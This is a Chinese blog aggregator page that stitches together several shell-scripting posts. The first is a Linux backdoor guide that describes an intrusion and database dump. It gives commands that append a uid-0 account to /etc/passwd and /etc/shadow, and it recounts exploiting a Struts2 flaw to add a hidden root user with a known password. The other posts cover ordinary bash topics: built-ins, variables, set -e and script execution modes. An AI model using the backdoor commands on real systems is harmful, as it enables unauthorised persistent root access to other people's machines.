shell脚本

Linux 多个留后门姿势

此生再无相见时 提交于 2020-02-29 08:57:05
在一次渗透中,成功获取某目标几台比较重要的机器,当时只想着获取脱库,结果动静太大被发现了,之前渗透并没太在意Linux维持权限,经过此次事后从Google找各种资料,一款满意的rootkit都没有,现在一直在关注这方面,但还是没有找到满意的后门,在渗透圈一个人的资源总是有限往往你全力追求的,也不过是别人的一层关系就可以解决得到更有力的资源。 常用后门技术 增加超级用户帐号 破解/嗅控用户密码 放置SUID Shell ** 利用系统服务程序 TCP/UDP/ICMP Shell Crontab定时任务 共享库文件 工具包rootkit 可装载内枋模块(LKM) 增加超级用户 echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd 如果系统不允许uid=0的用户远程登录,可以增加一个普通用户账号 echo "mx7krshell::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow 小案例 搞某外企,主站拿不下来进行C段渗透,发现某个业务系统存在Struts2漏洞。 Struts漏洞工具执行命令有些交互式没有办法回显,所以通过无密码添加密码来连接SSH: useradd seradd -u 0 -o -g root -G roo1 echo "123456" | passwd --stdin roo1

任意排列、组合终极Shell脚本

六眼飞鱼酱① 提交于 2020-02-29 08:13:54
作者: crulat 永夜 #!/bin/bash # permutation_combination.sh arg0=-1 number=${2} eval ary=({1..${1}}) length=${#ary[@]} output(){ echo -n ${ary[${!i}]}; } prtcom(){ nsloop i 0 number+1 output ${@}; echo; } percom(){ nsloop i ${1} number${2} ${3} ${4} ${5}; } detect(){ (( ${!p} == ${!q} )) && argc=1 && break 2; } invoke(){ echo $(percom ${argu} nsloop -1) ${para} $(percom ${argu}); } permut(){ echo -n "${1} arg${i} ${2} "; (( ${#} != 0 )) && echo -n " length "; } nsloop(){ for((${1}=${2}+1; ${1}<${3}; ++${1})); do eval eval \\\$\{{4..${#}}\}; done; } combin(){ (( ${#} != 0 )) && echo -n "${1} arg$((i

Linux基础 Bash Shell特性

只谈情不闲聊 提交于 2020-02-29 06:23:35
1 一些内置命令 echo 输出字符串并换行 -n 不换行 -e 启用转义字符 printf 类似C语言的格式输出 read 读取变量 -p STRING 显示提示 -s 不回显 -t 输入时限 source FILE 或者一个点[.]代替source 读取文件中的脚本并执行 hash 检查命令缓存和击中次数 type CMD 检查命令类型并显示信息 -t 仅显示命令类型[file|alias|butltin] -a 搜索$PATH 显示CMD命令 -p 如果CMD为外部命令 才显示完整文件名 ulimit [options] [配额] -a 显示所有限制额度 -H 严格设置 用户无法超出此值 -S 警告设置 用户超出此值会被警告 -c 限制core file最大容量[进程发生错误时生成的文件] -f 创建的最大文件容量 -d 最大断裂内存(segment)的容量 -l 锁定(lock)的内存量 -t 可使用的最大CPU时间 单位为秒 -u 用户可使用的最大进程(process)数量 2 bash变量 env 列出所有环境变量 $_ 上一次命令的最后一个参数或者命令本身 $TERM 终端环境类型 $SHELL shell类型 $HISTSIZE 命令历史条目数 $USER 用户名 $MAIL 邮箱目镜 $PATH 命令搜索路径 $PWD 当前目录(pwd命令取出) $LANG

shell之变量和引用

六月ゝ 毕业季﹏ 提交于 2020-02-29 04:39:56
一 变量 变量:本质上是程序中保存用户数据的一块内存空间,变量名就是内存空间地址。 Shell中:变量可有字母数字和下划线组成,只能以字母或下划线开头。 命名:PATH=/sbin JAVA_HOME=”/usr/lib” (变量名区分大小写) 在shell中,变量的数据类型无需显示低声明,变量的数据类型会根据不同操作有所变化。 (shell变量部分数据类型,统一按字符串存储,但根据变量的上下文环境,允许程序执行一些不同操作)。为了能执行加减法计算,shell为自动进行数据类型的转换,如果遇到含义非数字的字符串,则该字符串被转换成整数0。同时,在空串以及没有定义变量的情况下,变量值都会被转换为整数0。 例如,n=“” echo “n=$n” Echo “p=$p” 1.1变量的定义: Shell中可以直接使用变量,无需定义,如果变量的值包含空格,一定要用引号引起来。 declare attribute variable(控制变量相关属性) attribute 表示变量属性,variable表示名称,属性有: -p:显示所有变量值 -i:定义为整数 -r:定义为只读变量 -a:定义为数组变量 -f:显示所有自定义函数,包括名称和函数体 -x:变量设置成环境变量,随后的脚本和程序可以使用 例子: x=6/3 echo "$x" //6/3 #定义变量x为整数 declare -i x

shell 语句出错或者异常自动退出 不继续执行

限于喜欢 提交于 2020-02-28 21:16:35
今天操作的时候遇到一个问题,需要把内容重定向到文件,然后再把文件重命名使用,结果重定向的时候已经抛异常了,下面的自然也会接着出现各种问题。所以,还是觉得一些关键操作要做一些判断或者捕获异常,避免出现更严重的问题。 解决办法如下: 使用set -e 你写的每一个脚本的开始都应该包含set -e。这告诉bash一但有任何一个语句返回非真的值,则退出bash。 使用-e的好处是避免错误滚雪球般的变成严重错误,能尽早的捕获错误。更加可读的版本:set -o errexit 使用-e把你从检查错误中解放出来。如果你忘记了检查,bash会替你做这件事。 不过你也没有办法使用$? 来获取命令执行状态了,因为bash无法获得任何非0的返回值。 你可以使用另一种结构,使用command 使用command if [ "$?"-ne 0]; then echo "command failed"; exit 1; fi " 可以替换成: command || echo "command failed"; exit 1; (这种写法并不严谨,我当时的场景是执行ssh "commond", 所以可以返回退出码后面通过[ #? -eq 0 ]来做判断,如果是在shell中无论成功还是失败都会exit) 修改如下(谢谢评论的朋友指正) command || (echo "command failed";

nc 命令详解

折月煮酒 提交于 2020-02-28 15:04:43
英文原文: Linux Netcat command – The swiss army knife of networking netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚本中以多种方式使用它。使用netcat命令所能完成的事情令人惊讶。 netcat所做的就是在两台电脑之间建立链接并返回两个数据流,在这之后所能做的事就看你的想像力了。你能建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。 下面是一些使用netcat的例子. [A(172.31.100.7) B(172.31.100.23)] Linux netcat 命令实例: 1,端口扫描 端口扫描经常被系统管理员和黑客用来发现在一些机器上开放的端口,帮助他们识别系统中的漏洞。 $nc -z -v -n 172.31.100.7 21-25 可以运行在TCP或者UDP模式,默认是TCP,-u参数调整为udp. z 参数告诉netcat使用0 IO,连接成功后立即关闭连接, 不进行数据交换(谢谢@jxing 指点) v 参数指使用冗余选项(译者注:即详细输出) n 参数告诉netcat 不要使用DNS反向查询IP地址的域名 这个命令会打印21到25 所有开放的端口。Banner是一个文本

执行 shell 脚本

≯℡__Kan透↙ 提交于 2020-02-28 07:39:23
执行脚本 1,脚本文件加上可执行权限 command: itcast$ chmod a+x test.sh //使用chmod命令给脚本文件加上权限 itcast$ ./test.sh //执行可执行文件 当执行以上命令时,shell fork 一个子进程调用exec执行 tese.sh 这个程序,可这个程序是一个脚本文件,它没有代码段和stat函数。 exec 还有另外一种机制,如果执行的是文本文件且第一行指定了解释器,则用该解释器的代码段替换当前进程,并从解释器的stat段开始执行,该文本作为命令行参数传给解释器。 因此执行上述脚本相当于执行程序。 2,指定解析器的目录执行脚本 command: itcast$ /bin/sh ./test.sh //不需要test.sh文件具有可执行权限 总结:1 和 2 两种方式执行脚本的操作影响的是子进程,不会影响到交互式shell。 因为shell 解析器会fork子进程去执行脚本。 例如:命令行下输入的命令用()括号括起来,那么也会fork出一个子Shell执行小括号中的命令 command: itcast$ ( cd .. ; ls -l ) 3,使用shell 的内建命令去执行脚本 command: itcast$ source ./test.sh //source 是shell的内建命令 或者 itcast$ . ./test

Linux的Bash Shell详解

自闭症网瘾萝莉.ら 提交于 2020-02-28 07:10:54
一、Bash Shell概述   1.什么是bash   bash是Bourne Again Shell的简称,是从unix系统中的sh发展而来的,是用户和Linux内核交互的工具,用户通过bash操作内核完成系统的使用和管理。   2.shell的种类   /bin/sh(已经被/bin/bash替代)   /bin/bash(默认的shell)   /bin/ksh(源自贝尔实验室,兼容bash)   /bin/tcsh(整合C shell,功能更为强大)   /bin/csh(已经被tcsh取代)   /bin/zsh(源自ksh功能更为强大)   每种shell的功能比较类似,但是语法会稍有不同。   3.bash的历史和发展      二、Bash Shell的变量概述   1.变量是代表一些值的符号。   2.可以通过变量来设置shell或者其他程序。   3.变量存在于内存中。   4.Linux有自定义变量(local)和环境变量(environment)。   5.自定义变量和环境变量的作用范围不同。   6.可以使用以下指令查看所有变量     set可以查看所有的变量     env只能查看环境变量 三、Bash Shell的设置方式   1.通过自定义变量设置     variable=value来设置     $variable来取得变量的值     

PCS集群的一些命令总结!非常好!

亡梦爱人 提交于 2020-02-27 23:40:51
https://blog.csdn.net/hhhh2012/article/details/48313909 使用pcs shell配置corosync & pacemaker群集 Pacemaker Pacemaker,即Cluster Resource Manager(CRM),管理整个HA,客户端通过pacemaker管理监控整个集群。 CRM支持ocf和lsb两种资源类型: ocf格式的启动脚本在/usr/lib/ocf/resource.d/下面。 lsb的脚本一般在/etc/rc.d/init.d/下面。 1、常用的集群管理工具: (1)基于命令行 crm shell/pcs (2)基于图形化 pygui/hawk/lcmc/pcs 2、相关的资源文件: (1)/usr/lib/ocf/resource.d,pacemaker资源库文件位置,可安装资源包:resource-agents 获取更多ocf格式的资源。 (2)/usr/sbin/fence_***,Fencing设备的执行脚本名称,可安装资源包:fence-agents 获取更多Fencing设备资源。 3、查看使用说明: [shell]# man ocf heartbeat ## 查看OCF资源说明,man ocf_heartbeat apache [shell]# man fence ##

shell脚本的2类执行方式及区别

拟墨画扇 提交于 2020-02-27 23:11:14
shell脚本不同执行方式及分类 通常可以通过以下命令执行shell脚本文件: 1、source命令 2、.命令 3、sh命令 4、bash命令 5、./脚本文件 不同的执行命令分为2类执行方式: 第一类执行方式 在当前shell环境即执行脚本调用命令的进程中执行(shell中定义的变量会互受影响),在编写shell脚本项目时非常适合引入公共函数及公共变量 相关命令:source命令即.命令 第二类执行方式 在子shell环境即在新创建进程中执行(父shell中只有export的变量会传递给子shell其余变量定义不受影响) 相关命令:sh命令 bash命令 ./脚本文件 脚本代码及演示过程如下 执行示例: 创建3个shell脚本 job1_export.sh --在脚本中定义变量a=123 job2_source.sh --在脚本中通过source命令执行job1_export.sh脚本,并输出变量a --由于在当前shell环境中执行调用,所以变量a的值即为job1脚本中a的赋值 job3_sh.sh --在脚本中通过sh命令执行job1_export.sh脚本,并输出变量a --由于新启进程子shell环境中执行调用,所以变量a的值并不会传递到父shell中,所以a没有被赋值 [root@localhost test]# ll total 12 -rwxr--r--. 1